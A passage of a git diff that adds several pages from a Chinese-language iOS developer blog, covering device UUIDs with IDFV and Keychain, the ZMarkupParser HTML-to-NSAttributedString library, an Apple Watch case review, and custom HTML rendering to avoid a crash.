1.滿版貼做家事時撞到破了換了一次(吐血) 2.增購了一副皮製錶帶:

nomad Apple Watch 錶帶

nomad Apple Watch 錶帶

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS ≥ 12 在使用者的「設定」中增加「APP通知設定頁」捷徑 (Swift)

動手做一支 Apple Watch App 吧!

diff --git a/posts/a4bc3bce7513/index.html b/posts/a4bc3bce7513/index.html new file mode 100644 index 000000000..49afe08e8 --- /dev/null +++ b/posts/a4bc3bce7513/index.html @@ -0,0 +1,93 @@ + iOS UUID 的那些事 (Swift/iOS ≥ 6) | ZhgChgLi
Home iOS UUID 的那些事 (Swift/iOS ≥ 6)
Post
Cancel

iOS UUID 的那些事 (Swift/iOS ≥ 6)

iOS UUID 的那些事 (Swift/iOS ≥ 6)

iPlayground 2018 回來 & UUID那些事

前言:

上週六、日跑去參加 iPlayground Apple 軟體開發者研討會,這個活動訊息是同事PASS過來的,去之前我也不清楚這個活動。

兩天下來,整題活動跟時程安排流暢,議程內容:

  1. 趣味的:腳踏車、凋零的Code、iOS/API 演進史、威利在哪裡(CoreML Vision)
  2. 實用的:測試類 (XCUITest、依賴注入)、SpriteKit 做動畫效果的替代方案、GraphQL
  3. 真功夫:深入拆解Swift、iOS 越獄/Tweak開發、Redux

腳踏車Project 印象深刻,用iPhone手機當感測器感測腳踏車踏板轉動,直接在台上騎腳踏車切換投影片(前輩主要目標是要做開源版zwift,也分享了許多地雷,例如Client/Sever通信、延遲問題、磁場干擾)

凋零的Dirty Code;聽得心有戚戚,在心裡會心一笑;技術債就是這樣一直累積下來的,開發時程趕,所以用架構性較差的快速做法,後人接手改也沒時間重構,就越積越多;到最後可能真的只有打掉這條路了

測試類(Design Patterns in XCUITest) KKBOX的前輩 ,完全沒藏私直接公開他們的作法及程式範例細節還有遇到的雷、解決辦法,這堂也是對我們工作上最有幫助的項目;測試這塊是我一直想加強的部分,可以回去好好研究研究

Lighting Talk的部分在台下聽得也好想上去分享😂 下次要提早做好準備了!

會後的offical party,酒水食物場地都很有誠意,聽前輩們的真心話吐露,很輕鬆有趣之外還吸收許多職場軟實力.

台大後台咖啡

台大後台咖啡

我才知道原來這是第一屆,真的有榮幸能夠參加,所有工作人員跟講者辛苦了!

去參加研討會的目的不外乎就是要: 增加廣度 ,吸收新知、了解生態、碰一些平常不會接觸的項目跟 增加深度 ,如果是自己已經摸過的項目就是去聽聽看有沒有遺漏的地方或是還有其他做法沒發現.

抄了許多筆記可以回來慢慢研究回味。

UUID的那些事

因為我聽完回去後馬上實際應用到APP上;這堂是由Zonble前輩主講,我聽到從iPhone OS 2寫到iOS 12我就跪了;由於入行較晚,我是從iOS 11/Swift 4 才開始寫,所以沒碰到那些因為蘋果修改API的動亂時期。

想想UUID從可以取得到封鎖也是蠻合理的;如果是用在良善的地方:辨識使用者裝置、廣告或第三方運用唯一性去做廣告操作;但如果有廠商想做惡,也可以透過這個機制反查,知道你這隻手機的主人是怎麼樣的人?(例如有裝旅遊+台北等公車+BMW APP+嬰兒照護 就能推測你很常出國家裡有小孩而且住在台北 之類的資訊)再加上你在APP上輸入的個資,能拿去做什麼應用不敢想像

但這其中也波及到很多正當守法的用戶,像是本來用UUID當使用者的資料解密KEY或用UUID當裝置判斷都受到很大的影響;真佩服那個時期的工程師前輩們,這些影響老闆跟使用者一定會狂罵,要急中生智找其他替代辦法.

替代方案:

本篇文章以取得UUID辨識裝置唯一值為主,如果是要找知道使用者裝了哪些APP的替代方案可參考以下關鍵字搜尋做法: UIPasteboard pasteboardWithName: create: (運用剪貼簿在APP間共享) 、canOpenURL: info.plist LSApplicationQueriesSchmes (運用canOpenURL檢查APO有無安裝,要在info.plist列舉,最多50筆)

  1. 用MAC Address當UUID,但後來也被BAN了
  2. Finger Printing (Canvas/User-Agent…) :沒研究,不過這項目主要拿來讓safari跟app能產生同樣的UUID, Deferred Deep Linking (延遲深度連結)用 AmIUnique?
  3. ID entifier F or V endor (IDFV):目前主流的解決方案🏆 概念是蘋果會根據你的Bundle ID前輟為使用者產生UUID,相同的Bundle ID前輟會產生相同的UUID,例如:com.518.work/com.518.job 同個裝置會得到相同的UUID 如同原文ID For Vendor,相同的前輟蘋果認為即是相同廠商的APP,所以共享UUID是允許的。

ID entifier F or V endor (IDFV):

1
+
let DEVICE_UUID:String = UIDevice.current.identifierForVendor?.uuidString ?? UUID().uuidString
+

唯需注意:當所有同Vendor的APP都移除後再重裝就會產生新的UUID ( com.518.work跟com.518.job都被刪除,再裝回com.518.work這時就會產生新的UUID ) 同理如果你只有一個APP,刪掉重裝就會產生新的UUID

因為這個特性,我們公司的其他APP是使用Key-Chain來解決這個問題,聽了講者前輩的指點也驗證了這個做法是正確的!

流程如下:

Key-Chain UUID欄位有值時取值,無則取IDFA的UUID值並回寫

Key-Chain UUID欄位有值時取值,無則取IDFA的UUID值並回寫

Key-Chain寫入方式:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
if let data = DEVICE_UUID.data(using: .utf8) {
+    let query = [
+        kSecClass as String       : kSecClassGenericPassword as String,
+        kSecAttrAccount as String : "DEVICE_UUID",
+        kSecValueData as String   : data ] as [String : Any]
+    
+    SecItemDelete(query as CFDictionary)
+    SecItemAdd(query as CFDictionary, nil)
+}
+

Key-Chain讀取方式:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
let query = [
+    kSecClass as String       : kSecClassGenericPassword,
+    kSecAttrAccount as String : "DEVICE_UUID",
+    kSecReturnData as String  : kCFBooleanTrue,
+    kSecMatchLimit as String  : kSecMatchLimitOne ] as [String : Any]
+
+var dataTypeRef: AnyObject? = nil
+let status: OSStatus = SecItemCopyMatching(query as CFDictionary, &dataTypeRef)
+if status == noErr,let dataTypeRef = dataTypeRef as? Data,let uuid = String(data:dataTypeRef, encoding: .utf8) {
+   //uuid
+} 
+

如果嫌Key-Chain操作太繁瑣可以自行封裝或使用第三方套件。

完整CODE:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
let DEVICE_UUID:String = {
+    let query = [
+        kSecClass as String       : kSecClassGenericPassword,
+        kSecAttrAccount as String : "DEVICE_UUID",
+        kSecReturnData as String  : kCFBooleanTrue,
+        kSecMatchLimit as String  : kSecMatchLimitOne ] as [String : Any]
+    
+    var dataTypeRef: AnyObject? = nil
+    let status: OSStatus = SecItemCopyMatching(query as CFDictionary, &dataTypeRef)
+    if status == noErr,let dataTypeRef = dataTypeRef as? Data,let uuid = String(data:dataTypeRef, encoding: .utf8) {
+        return uuid
+    } else {
+        let DEVICE_UUID:String = UIDevice.current.identifierForVendor?.uuidString ?? UUID().uuidString
+        if let data = DEVICE_UUID.data(using: .utf8) {
+            let query = [
+                kSecClass as String       : kSecClassGenericPassword as String,
+                kSecAttrAccount as String : "DEVICE_UUID",
+                kSecValueData as String   : data ] as [String : Any]
+        
+            SecItemDelete(query as CFDictionary)
+            SecItemAdd(query as CFDictionary, nil)
+        }
+        return DEVICE_UUID
+    }
+}()
+

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift)

什麼?iOS 12 不需使用者授權就能收到推播通知(Swift)

diff --git a/posts/a5643de271e4/index.html b/posts/a5643de271e4/index.html new file mode 100644 index 000000000..dd22a102d --- /dev/null +++ b/posts/a5643de271e4/index.html @@ -0,0 +1,167 @@ + ZMarkupParser HTML String 轉換 NSAttributedString 工具 | ZhgChgLi
Home ZMarkupParser HTML String 轉換 NSAttributedString 工具
Post
Cancel

ZMarkupParser HTML String 轉換 NSAttributedString 工具

ZMarkupParser HTML String 轉換 NSAttributedString 工具

轉換 HTML String 成 NSAttributedString 對應 Key 樣式設定

ZhgChgLi / ZMarkupParser

[ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} [ZMarkupParser](https://github.com/ZhgChgLi/ZMarkupParser){:target="_blank"}

ZhgChgLi / ZMarkupParser

功能

  • 使用純 Swift 開發,透過 Regex 剖析出 HTML Tag 並經過 Tokenization,分析修正 Tag 正確性(修正沒有 end 的 tag & 錯位 tag),再轉換成 abstract syntax tree,最終使用 Visitor Pattern 將 HTML Tag 與抽象樣式對應,得到最終 NSAttributedString 結果;其中不依賴任何 Parser Lib。
  • 支援 HTML Render (to NSAttributedString) / Stripper (剝離 HTML Tag) / Selector 功能
  • 自動分析修正 Tag 正確性(修正沒有 end 的 tag & 錯位 tag) &lt;br&gt; -> &lt;br/&gt; &lt;b&gt;Bold&lt;i&gt;Bold+Italic&lt;/b&gt;Italic&lt;/i&gt; -> &lt;b&gt;Bold&lt;i&gt;Bold+Italic&lt;/i&gt;&lt;/b&gt;&lt;i&gt;Italic&lt;/i&gt; &lt;Congratulation!&gt; -> &lt;Congratulation!&gt; (treat as String)
  • 支援客製化樣式指定 e.g. &lt;b&gt;&lt;/b&gt; -> weight: .semilbold & underline: 1
  • 支援自行擴充 HTML Tag 解析 e.g. 解析 &lt;zhgchgli&gt;&lt;/zhgchgli&gt; 成想要的樣式
  • 包含架構設計,方便對 HTML Tag 進行擴充 目前純了支援基本的樣式之外還支援 ul/ol/li 列表及 hr 分隔線渲染,未來要擴充支援其他 HTML Tag 也能快速支援
  • 支援從 style HTML Attribute 擴充解析樣式 HTML 可以從 style 指定文字樣式,同樣的,此套件也能支援從 style 中指定樣式 e.g. &lt;b style=”font-size: 20px”&gt;&lt;/b&gt; -> 粗體+字型 20 px
  • 支援 iOS/macOS
  • 支援 HTML Color Name to UIColor/NSColor
  • Test Coverage: 80%+
  • 支援 &lt;img&gt; 圖片、 &lt;ul&gt; 項目清單、 &lt;table&gt; 表格…等等 HTMLTag 解析
  • NSAttributedString.DocumentType.html 更高的效能

效能分析

[Performance Benchmark](https://quickchart.io/chart-maker/view/zm-73887470-e667-4ca3-8df0-fe3563832b0b){:target="_blank"}

Performance Benchmark

  • 測試環境:2022/M2/24GB Memory/macOS 13.2/XCode 14.1
  • X 軸:HTML 字數
  • Y 軸:渲染所花時間(秒)

*另外 NSAttributedString.DocumentType.html 超過 54,600+ 長度字串就會閃退 (EXC_BAD_ACCESS)。

試玩

可直接下載專案打開 ZMarkupParser.xcworkspace 選擇 ZMarkupParser-Demo Target Build & Run 直接測試效果。

安裝

支援 SPM/Cocoapods ,請參考 Readme

使用方式

樣式宣告

MarkupStyle/MarkupStyleColor/MarkupStyleParagraphStyle,對應 NSAttributedString.Key 的封裝。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
var font:MarkupStyleFont
+var paragraphStyle:MarkupStyleParagraphStyle
+var foregroundColor:MarkupStyleColor? = nil
+var backgroundColor:MarkupStyleColor? = nil
+var ligature:NSNumber? = nil
+var kern:NSNumber? = nil
+var tracking:NSNumber? = nil
+var strikethroughStyle:NSUnderlineStyle? = nil
+var underlineStyle:NSUnderlineStyle? = nil
+var strokeColor:MarkupStyleColor? = nil
+var strokeWidth:NSNumber? = nil
+var shadow:NSShadow? = nil
+var textEffect:String? = nil
+var attachment:NSTextAttachment? = nil
+var link:URL? = nil
+var baselineOffset:NSNumber? = nil
+var underlineColor:MarkupStyleColor? = nil
+var strikethroughColor:MarkupStyleColor? = nil
+var obliqueness:NSNumber? = nil
+var expansion:NSNumber? = nil
+var writingDirection:NSNumber? = nil
+var verticalGlyphForm:NSNumber? = nil
+...
+

可依照自己想套用到 HTML Tag 上對應的樣式自行宣告:

1
+
let myStyle = MarkupStyle(font: MarkupStyleFont(size: 13), backgroundColor: MarkupStyleColor(name: .aquamarine))
+

HTML Tag

宣告要渲染的 HTML Tag 與對應的 Markup Style,目前預定義的 HTML Tag Name 如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+
A_HTMLTagName(), // <a></a>
+B_HTMLTagName(), // <b></b>
+BR_HTMLTagName(), // <br></br>
+DIV_HTMLTagName(), // <div></div>
+HR_HTMLTagName(), // <hr></hr>
+I_HTMLTagName(), // <i></i>
+LI_HTMLTagName(), // <li></li>
+OL_HTMLTagName(), // <ol></ol>
+P_HTMLTagName(), // <p></p>
+SPAN_HTMLTagName(), // <span></span>
+STRONG_HTMLTagName(), // <strong></strong>
+U_HTMLTagName(), // <u></u>
+UL_HTMLTagName(), // <ul></ul>
+DEL_HTMLTagName(), // <del></del>
+IMG_HTMLTagName(handler: ZNSTextAttachmentHandler), // <img> and image downloader
+TR_HTMLTagName(), // <tr>
+TD_HTMLTagName(), // <td>
+TH_HTMLTagName(), // <th>
+...and more
+...
+

這樣解析 &lt;a&gt; Tag 時就會套用到指定的 MarkupStyle。

擴充 HTMLTagName:

1
+
let zhgchgli = ExtendTagName("zhgchgli")
+

HTML Style Attribute

如同前述,HTML 支援從 Style Attribute 指定樣式,這邊也抽象出來可指定支援的樣式跟擴充,目前預定義的 HTML Style Attribute 如下:

1
+2
+3
+4
+5
+6
+7
+
ColorHTMLTagStyleAttribute(), // color
+BackgroundColorHTMLTagStyleAttribute(), // background-color
+FontSizeHTMLTagStyleAttribute(), // font-size
+FontWeightHTMLTagStyleAttribute(), // font-weight
+LineHeightHTMLTagStyleAttribute(), // line-height
+WordSpacingHTMLTagStyleAttribute(), // word-spacing
+...
+

擴充 Style Attribute:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
ExtendHTMLTagStyleAttribute(styleName: "text-decoration", render: { value in
+  var newStyle = MarkupStyle()
+  if value == "underline" {
+    newStyle.underline = NSUnderlineStyle.single
+  } else {
+    // ...  
+  }
+  return newStyle
+})
+

使用

1
+2
+3
+
import ZMarkupParser
+
+let parser = ZHTMLParserBuilder.initWithDefault().set(rootStyle: MarkupStyle(font: MarkupStyleFont(size: 13)).build()
+

initWithDefault 會自動加入預先定義的 HTML Tag Name & 預設對應的 MarkupStyle 還有預先定義的 Style Attribute。

set(rootStyle:) 可指定整個字串的預設樣式,也可不指定。

客製化

1
+2
+
let parser = ZHTMLParserBuilder.initWithDefault().add(ExtendTagName("zhgchgli"), withCustomStyle: MarkupStyle(backgroundColor: MarkupStyleColor(name: .aquamarine))).build() // will use markupstyle you specify to render extend html tag <zhgchgli></zhgchgli>
+let parser = ZHTMLParserBuilder.initWithDefault().add(B_HTMLTagName(), withCustomStyle: MarkupStyle(font: MarkupStyleFont(size: 18, weight: .style(.semibold)))).build() // will use markupstyle you specify to render <b></b> instead of default bold markup style
+

HTML Render

1
+2
+3
+4
+5
+6
+
let attributedString = parser.render(htmlString) // NSAttributedString
+
+// work with UITextView
+textView.setHtmlString(htmlString)
+// work with UILabel
+label.setHtmlString(htmlString)
+

HTML Stripper

1
+
parser.stripper(htmlString)
+

Selector HTML String

1
+2
+3
+4
+5
+6
+7
+
let selector = parser.selector(htmlString) // HTMLSelector e.g. input: <a><b>Test</b>Link</a>
+selector.first("a")?.first("b").attributedString // will return Test
+selector.filter("a").attributedString // will return Test Link
+
+// render from selector result
+let selector = parser.selector(htmlString) // HTMLSelector e.g. input: <a><b>Test</b>Link</a>
+parser.render(selector.first("a")?.first("b"))
+

Async

另外如果要渲染長字串,可改用 async 方法,防止卡 UI。

1
+2
+3
+
parser.render(String) { _ in }...
+parser.stripper(String) { _ in }...
+parser.selector(String) { _ in }...
+

Know-how

  • UITextView 中的超連結樣式是看 linkTextAttributes,所以會出現 NSAttributedString.key 明明有設定但卻沒出現效果的情況。
  • UILabel 不支援指定 URL 樣式,所以會出現 NSAttributedString.key 明明有設定但卻沒出現效果的情況。
  • 如果要渲染複雜的 HTML,還是需要使用 WKWebView (包含 JS/表格. .渲染)。

技術原理及開發故事:「 手工打造 HTML 解析器的那些事

歡迎貢獻及提出 Issue 將盡快修正

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Google 搜尋出現與本人李仲澄無關之負面新聞聲明

The Chronicles of Crafting an HTML Parser from Scratch

diff --git a/posts/a66ce3dc8bb9/index.html b/posts/a66ce3dc8bb9/index.html new file mode 100644 index 000000000..bff7e8327 --- /dev/null +++ b/posts/a66ce3dc8bb9/index.html @@ -0,0 +1 @@ + Apple Watch 保護殼開箱體驗 (Catalyst & Muvit) | ZhgChgLi
Home Apple Watch 保護殼開箱體驗 (Catalyst & Muvit)
Post
Cancel

Apple Watch 保護殼開箱體驗 (Catalyst & Muvit)

Apple Watch 保護殼開箱體驗 (Catalyst & Muvit)

Catalyst Apple Watch 超輕薄防水保護殼 & Muvit Apple Watch 保護套

[最新更新]

感謝 Men’s Game 玩物誌 提供 Apple Watch Series 4 保護殼試用。

身為一個神經大條的強迫症患者,在使用Apple Watch這種精緻的產品非常困擾;因手殘神經大條很容易不小心碰撞到&加上強迫症有傷痕用起來會很不爽,所以一買來就一直貼滿版保護貼防止意外發生.

但其實 只貼滿版保護貼是不夠的,手錶本身是曲面,保護貼邊邊脆弱,很容易因本體邊框不小心擦到造成碎邊

無保護殼情況下,滿版保護貼碎邊慘況

無保護殼情況下,滿版保護貼碎邊慘況

目前已換第三張滿版保護貼;雖然手錶本身螢幕沒有受傷但心還是很痛,完美貼合+不影響觸控+薄+高透+不掀邊=很貴($990/張),花在保護貼的$都快夠我直升不鏽鋼版了;也因此Apple Watch 的保護殼對我來說就非常重要,可以加強本體邊框的防護,減少碰撞受傷問題.

本篇會開箱兩款Apple Watch 保護殼,並針對體驗心得、機能、外型、適用場景分別做出比較,讓我們開始吧!

左:Muvit保護套/右:Catalyst保護殼(含錶帶)

左:Muvit保護套/右:Catalyst保護殼(含錶帶)

p.s. 我的手錶型號是:Apple Watch Series 4 (GPS + 行動網路),44 公釐太空灰色鋁金屬錶殼搭配黑色運動型錶帶

Catalyst Apple Watch 超輕薄防水保護殼(含錶帶)

這款保護殼是有含錶帶的一體化設計,從佩戴到防撞防水的全方位保護.

開箱使用:

盒子正面

盒子正面

100公尺防水/360°全方位防護/2公尺墜落防摔

盒子背面

盒子背面

IP-68防水級別,每件產品經水深一百米測試,美國軍規級碰撞保護,可直接操作屏幕,原聲通話品質,可經錶殼直接充電,可經錶殼直接偵測心跳率.

IP-68 ( Wiki ):

6 - 完全防塵灰塵無法進入,完全防止接觸。

8 - 浸入水中超過1m。

內容物

內容物

除了Catalyst Apple Watch保護殼本體(裡面是模型機)並附一支小螺絲起子方便安裝.

保護殼(含錶帶)本體

保護殼(含錶帶)本體

保護殼(含錶帶)本體背面

保護殼(含錶帶)本體背面

與原廠運動錶帶(L)比較(左:Catalyst/右:原廠)

與原廠運動錶帶(L)比較(左:Catalyst/右:原廠)

固定環卡榫

固定環卡榫

與原廠運動錶帶(L)相比長度差不多但是開孔更密,在配戴上能調整到更適合手腕大小的長度;在固定環上有卡榫能確保激烈運動時不會脫落.

安裝:

我們要先將Catalyst錶殼拆解開來,再將Apple Watch機體放入後組裝回去.

  1. 首先轉開錶背螺絲

2. 取下螺絲後,兩手抓著錶帶,使用姆指向外施力將錶殼本體推出.

3.將所有部件拆解開來

分解圖(取自 [官網](https://www.catalystlifestyle.com/){:target="_blank"} )

分解圖(取自 官網 )

4. 將Apple Watch本體從現有運動錶帶上取下

翻到背面用指甲壓上下方長方形卡榫後往左或往右推即可!

翻到背面用指甲壓上下方長方形卡榫後往左或往右推即可!

5. 將Apple Watch機體放入防水套中

安裝時請注意防水套要套好,不能有皺摺避免影響防水性.

6.套上保護殼上殼

ㄧ樣要注意不能有皺摺避免影響防水性.

7.放回錶帶本體並鎖上螺絲

卡回本體並鎖上螺絲( 請注意螺絲勿鎖太緊哦!

測試:

  1. 充電可直接吸附:

測試結果:無問題,不影響充電速度。

2. 心率:

左:有裝殼/右:裸機

左:有裝殼/右:裸機

測試結果:無問題,不影響心率檢測。

3. 顯示方面:

Apple Watch 4 滿版螢幕無遮蔽,沒問題✅

4. Digital Crown

可正常使用✅

5. 收音影響:

Catalyst Apple Watch 超輕薄防水保護殼收音測試

無特別差異✅

6. 外觀:

因本人手粗,手錶本來就買最大的44公釐版本,再套上保護殼後又更顯粗獷大器了.

心得:

這款錶帶在防護上真正做到了360° 全面保護並加強本身的防水功能以適應更艱困的環境。

錶帶一樣採用親膚材質,戴起來與原廠運動錶帶無異,但在錶帶調整的部分由於開孔較密,能調整到更適合的大小(我戴原廠錶帶會卡在往前一格太鬆往後一個太緊的尷尬狀態)還有固定環的卡榫讓我這種強迫症患者更安心了一些!

整體外觀狂野粗獷,從事戶外活動、登山、攀岩、潛水時很搭風格,也正是這款錶帶能發會最大保護功效的場景!

下次記得帶墨鏡,太陽超大

下次記得帶墨鏡,太陽超大

Catalyst 家族合照 ( [AirPods保護套](../33afa0ae557d/) )

Catalyst 家族合照 ( AirPods保護套 )

Muvit Apple Watch 保護套

試用的第二款是 Muvit Apple Watch 保護套,相較於Catalyst的專業保護性,這款比較簡潔、便利,適用於各種日常生活場景;雖說如此,Muvit 依然通過美國軍規MIL-STD 810G 3米摔落測試,安全保護不馬乎!

開箱使用:

盒子正面

盒子正面

兩個不同顏色保護套:左-黑色 / 右-淡紫色

美國軍規MIL-STD 810G 3米摔落測試、極輕2.3G

盒子背面

盒子背面

雙層結構保護、矽膠減震層、聚碳酸酯緩衝系統、保護屏幕錶框

內容物

內容物

保護套本體,黑色/淡紫色

保護套本體,黑色/淡紫色

安裝:

  1. 安裝方面非常簡單,ㄧ樣先將Apple Watch本體從現有運動錶帶上取下

翻到背面用指甲壓上下方長方形卡榫後往左或往右推即可!

翻到背面用指甲壓上下方長方形卡榫後往左或往右推即可!

2. 將Apple Watch 機體 ”面朝下” 放入保護套中

3. 裝回錶帶,完成!

完成:

黑色款

黑色款

淡紫色款

淡紫色款

試戴,左:黑色/右:淡紫色

試戴,左:黑色/右:淡紫色

測試:

Digital Crown:

可正常使用✅,其他項目如收音、心率、顯示…等等,此款僅為邊框保護套不受影響,就不特別測試啦!

心得:

使用這款保護套最滿意的地方就是,我可以方便快速依照生活場景替換對應的錶帶(西裝:皮革錶帶、日常:運動錶帶)拆裝方便,保護性方面足夠應付所有日常場景(做家事、打掃、搬東西)目前日常生活都是使用這款保護套。

與皮製錶帶搭配

與皮製錶帶搭配

心得總結:

從收到試用到撰文完間隔了超過4個月,期間經歷了搬家(Sorry…本篇圖場景凌亂)、參加鐵人兩項(10KM跑步+40KM單車)、馬來西亞潛水;這兩款保護套跟著往上山下海跑跑跳跳,目前滿版保護貼依然完美無缺!

還記得我換了幾張保護貼嗎?答案是3張/3個月,平均貼不到一個月就會不知道怎麼的受傷碎邊,一張要$990阿 Orz

只能說相見恨晚,早知道有保護套這種產品就不用多花冤望錢!

不論是Catalyst或是Muvit都解決了我貼保護貼一直碎邊的痛點,如果你沒貼保護貼那就更該買個保護套保護螢幕邊角,不然螢幕玻璃碎裂心會更痛

選擇方面的建議是,如果你時常從事激烈運動(攀岩、潛水)、勞力工作,建議選用Catalyst,較能放心;如果只是一般上班族、偶爾運動跑跑步、喜歡依照心情換錶帶,那使用 Muvit 就足夠囉!

以下整一個簡單的比較表供大家參考:

選購:

  1. CATALYST FOR APPLE WATCH SERIES 4 44mm超輕薄防水保護殼
  2. MUVIT Apple Watch Series4 (44mm) 耐衝擊保護殼

閒聊:

第一篇完整的開箱使用三個月後 ,算一算手上的 Apple Watch S4 已經戴快一年了;使用上已無太大的變化,第三方APP依然很少,最常用的功能依然是Apple Pay、解鎖MAC、看通知,Apple Watch已然融入到我的日常生活之中,習慣了它的便利.

by the way 讓我們一起期待 Watch OS 6 吧 :)

這半年更勤於發揮Apple Watch的運動功能,記錄跑步、自行車的時間、路線、心跳,除了紀錄之外;獎章讓你運動更有目標及成就感、與朋友競賽運動量或分享成果到社群都讓運動變成是有趣的事,這樣才更容易保持!

獎章,競賽,運動路線,運動狀況

獎章,競賽,運動路線,運動狀況

本篇感謝 Men’s Game 玩物誌 提供 Apple Watch Series 4 保護殼試用。

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

智慧家居初體驗 - Apple HomeKit & 小米米家

如何打造一場有趣的工程CTF競賽

diff --git a/posts/a8c2d26cc734/index.html b/posts/a8c2d26cc734/index.html new file mode 100644 index 000000000..7a8804939 --- /dev/null +++ b/posts/a8c2d26cc734/index.html @@ -0,0 +1,1089 @@ + 自行實現 iOS NSAttributedString HTML Render | ZhgChgLi
Home 自行實現 iOS NSAttributedString HTML Render
Post
Cancel

自行實現 iOS NSAttributedString HTML Render

自行實現 iOS NSAttributedString HTML Render

iOS NSAttributedString DocumentType.html 的替代方案

Photo by [Florian Olivo](https://unsplash.com/@florianolv?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Florian Olivo

[TL;DR] 2023/03/12

重新使用其他方式開發了 ZMarkupParser HTML String 轉換 NSAttributedString 工具 ,技術細節及開發故事請前往「 手工打造 HTML 解析器的那些事

起源

從去年 iOS 15 發佈以來,App 始終被一項 Crash 問題長年霸榜,從數據來看,近 90 天 (2022/03/11~2022/06/08) 一共造成 2.4K+ 次閃退、影響 1.4K+ 位使用者。

此大量閃退問題從數據上看,官方應該已在 iOS ≥ 15.2 後續的版本修復(或減少發生機率),數據已呈現趨勢下降。

最大宗受影響版本: iOS 15.0.X ~ iOS 15.X.X

另外有發現 iOS 12、iOS 13 也有零星閃退數,所以此問題應該已存在許久,只是 iOS 15 前幾版發生的機率幾乎是 100%。

閃退原因:

1
+
<compiler-generated> line 2147483647 specialized @nonobjc NSAttributedString.init(data:options:documentAttributes:)
+

NSAttributedString 在 init 時發生 Crashed: com.apple.main-thread EXC_BREAKPOINT 0x00000001de9d4e44 閃退問題。

亦有可能是操作的地方不在 Main Thread.

重現方式:

此問題大量橫空出世時,讓開發團隊想破腦袋;複測 Crash Log 上的點都沒問題,不清楚使用者是在什麼情況下發生的;直到有一次因緣巧合下我剛好切換成「省電模式」然後就觸發問題了! ! WTF ! ! !

解答

經過一番搜索發現網路上有許多相同案例,也從 App Developer Forums 找到最早的相同 閃退問題提問 ,並獲得來自 官方 的回答:

  • 這是已知的 iOS Foundation Bug:自 iOS 12 就已存在
  • 如要渲染複雜的、無使用上約束的 HTML:請使用 WKWebView
  • 有渲染約束:可自行撰寫 HTML Parser & Render
  • 直接使用 Markdown 做為渲染約束:iOS ≥ 15 NSAttributedString 可 直接使用 Markdown 格式渲染文字

渲染約束 的意思是限定 App 端能支援的渲染格式,例如只支援 粗體 、斜體、 超連結

補充. 渲染複雜的 HTML — 想製作文饒圖效果

可與後端共同協調ㄧ個介面:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
{
+  "content":[
+    {"type":"text","value":"第1段純文字"},
+    {"type":"text","value":"第2段純文字"},
+    {"type":"text","value":"第3段純文字"},
+    {"type":"text","value":"第4段純文字"},
+    {"type":"image","src":"https://zhgchg.li/logo.png","title":"ZhgChgLi"},
+    {"type":"text","value":"第5段純文字"}
+  ]
+}
+

可與 Markdown 組合加上支援文字渲染,或參考 Medium 做法:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
"Paragraph": {
+    "text": "code in text, and link in text, and ZhgChgLi, and bold, and I, only i",
+    "markups": [
+      {
+        "type": "CODE",
+        "start": 5,
+        "end": 7
+      },
+      {
+        "start": 18,
+        "end": 22,
+        "href": "http://zhgchg.li",
+        "type": "LINK"
+      },
+      {
+        "type": "STRONG",
+        "start": 50,
+        "end": 63
+      },
+      {
+        "type": "EM",
+        "start": 55,
+        "end": 69
+      }
+    ]
+}
+

意思是 code in text, and link in text, and ZhgChgLi, and bold, and I, only i 這段文字的:

1
+2
+3
+4
+
- 第 5 到第 7 字元要標示為 程式碼 (用`Text`格式包裝)
+- 第 18 到第 22 字元要標示為 連結 (用[Text](URL)格式包裝)
+- 第 50 到第 63 字元要標示為 粗體(用*Text*格式包裝)
+- 第 55 到第 69 字元要標示為 斜體(用_Text_格式包裝)
+

有規範&可描述的結構後,App 就能自行使用原生方式渲染,達到效能、使用體驗最佳化。

UITextView 做文饒圖的坑,可參考我之前的文章: iOS UITextView 文繞圖編輯器 (Swift)

Why?

在實踐解答之前我們先回歸探究問題本身,個人認為這個問題主因並非來自 Apple,官方的 Bug 只是這個問題的引爆點。

問題主要來自 App 端被當成 Web 來進行渲染 ,優點是 Web 開發快速,同個 API Endpoint 可以不用區分 Client 都給 HTML、可以彈性渲染任何想呈現的內容;缺點是 HTML 並非 App 的常見接口、不能期望 App Engineer 懂 HTML、 效能極差 、只能在 Main Thread、開發階段無法預期結果、無法確認支援規格。

再往上找問題,多半是原始需求無法確定、不能確定 App 需要支援哪些規格、為了求快,才導致直接使用 HTML 做為 App 與 Web 的接口。

效能極差

補充效能部分,實測直接使用 NSAttributedString DocumentType.html 與自行實現渲染的方式有 5~20 倍的速度差距。

Better

既然是 App 要用,更好的做法要以 App 開發方式為出發點,對 App 來說需求的調整成本比 Web 高很多;有效的 App 開發應該要基於有規格的迭代調整,當下需要確定能支援的規格,之後如果要改我們就安排時間擴充規格,無法快速的想改就改,可以減少溝通成本、增加工作效率。

  • 確認需求範圍
  • 確認支援的規格
  • 確認接口規範 (Markdown/BBCode/…要繼續用 HTML 也行,但要是有約束的,例如只用 &lt;b&gt;/&lt;i&gt;/&lt;a&gt;/&lt;u&gt; ,要在程式 明確告知 開發者)
  • 自行實現渲染機制
  • 維護、迭代支援規格

[2023/02/27 Updated] [TL;DR]:

已更新做法,不使用 XMLParser,因容錯率為 0 :

